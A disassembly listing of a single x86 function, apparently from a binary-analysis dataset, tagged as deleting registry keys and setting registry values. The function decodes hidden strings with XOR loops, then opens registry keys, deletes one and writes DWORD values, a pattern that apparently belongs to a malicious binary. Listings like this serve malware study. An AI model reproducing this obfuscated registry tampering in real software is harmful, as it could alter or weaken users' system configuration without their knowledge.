Function at 0x5f56d0
Capabilities:
Delete registry key
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x64d93e
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xcc
push esi
jmp 0x5f5769
mov ecx, 0x81
xor edx, edx
mov al, byte [edx + 0x6d0470]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xc3], al
and ecx, 0x800000ff
jns 0x5f5790
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x3c
jl 0x5f5770
mov byte [ebp - 0x87], 0
cmp byte [ebp - 0xc3], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x60], 0xf
mov dword [ebp - 0x64], 0
mov byte [ebp - 0x74], 0
jne 0x5f57c3
xor ecx, ecx
jmp 0x5f57d9
lea ecx, [ebp - 0xc3]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5f57d0
sub ecx, edx
push ecx
lea eax, [ebp - 0xc3]
push eax
lea ecx, [ebp - 0x74]
call fcn.0058c730
mov ecx, 0x39
xor edx, edx
mov al, byte [edx + str.jchhxsc]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xc0], al
and ecx, 0x800000ff
jns 0x5f5810
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x36
jl 0x5f57f0
mov byte [ebp - 0x8a], 0
cmp byte [ebp - 0xc0], 0
mov byte [ebp - 4], 3
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], 0
mov byte [ebp - 0x4c], 0
jne 0x5f5840
xor ecx, ecx
jmp 0x5f5859
lea ecx, [ebp - 0xc0]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5f5850
sub ecx, edx
push ecx
lea eax, [ebp - 0xc0]
push eax
lea ecx, [ebp - 0x4c]
call fcn.0058c730
xorps xmm0, xmm0
mov byte [ebp - 4], 5
movdqa xmmword [ebp - 0xc0], xmm0
movdqa xmmword [ebp - 0xb0], xmm0
movdqa xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x90], 0
mov word [ebp - 0x8c], 0
mov byte [ebp - 0x8a], 0
mov dword [ebp - 0x1c], 0
jmp 0x5f590f
cmp dword [ebp - 0x60], 0x10
lea ecx, [ebp - 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 0x74]
cmovae eax, dword [ebp - 0x74]
push ecx
push 0x2011f
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [ebp - 0x14], 0
call esi
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x14]
push ecx
push 0x2011f
lea eax, [ebp - 0x4c]
cmovae eax, dword [ebp - 0x4c]
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call esi
jmp 0x5f59be
mov ecx, 0x96
xor edx, edx
mov al, byte [edx + 0x6d04e8]
xor al, cl
inc ecx
mov byte [ebp + edx - 0xd0], al
and ecx, 0x800000ff
jns 0x5f59e5
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0x49
jl 0x5f59c5
lea eax, [ebp - 0xd0]
mov byte [ebp - 0x87], 0
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov dword [ebp - 0x18], 0
mov ecx, 0x33
xor edx, edx
mov al, byte [edx + str.p_XFBLHu_P_]
xor al, cl
inc ecx
mov byte [ebp + edx - 0x59], al
and ecx, 0x800000ff
jns 0x5f5a2f
dec ecx
or ecx, 0xffffff00
inc ecx
inc edx
cmp edx, 0xc
jl 0x5f5a12
mov byte [ebp - 0x4d], 0
cmp byte [ebp - 0x59], 0
mov byte [ebp - 4], 6
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], 0
mov byte [ebp - 0x34], 0
jne 0x5f5a59
xor ecx, ecx
jmp 0x5f5a69
lea ecx, [ebp - 0x59]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5f5a60
sub ecx, edx
push ecx
lea eax, [ebp - 0x59]
push eax
lea ecx, [ebp - 0x34]
call fcn.0058c730
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push 1
push ecx
push 4
push 0
push eax
push dword [ebp - 0x1c]
call esi
cmp dword [ebp - 0x20], 0x10
lea ecx, [ebp - 0x18]
push 1
push ecx
push 4
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
push 0
push eax
push dword [ebp - 0x14]
call esi
cmp dword [ebp - 0x20], 0x10
jb 0x5f5ac3
push dword [ebp - 0x34]
call fcn.005f1450
add esp, 4
cmp dword [ebp - 0x38], 0x10
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], 0
mov byte [ebp - 0x34], 0
jb 0x5f5ae6
push dword [ebp - 0x4c]
call fcn.005f1450
add esp, 4
cmp dword [ebp - 0x60], 0x10
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], 0
mov byte [ebp - 0x4c], 0
jb 0x5f5b09
push dword [ebp - 0x74]
call fcn.005f1450
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret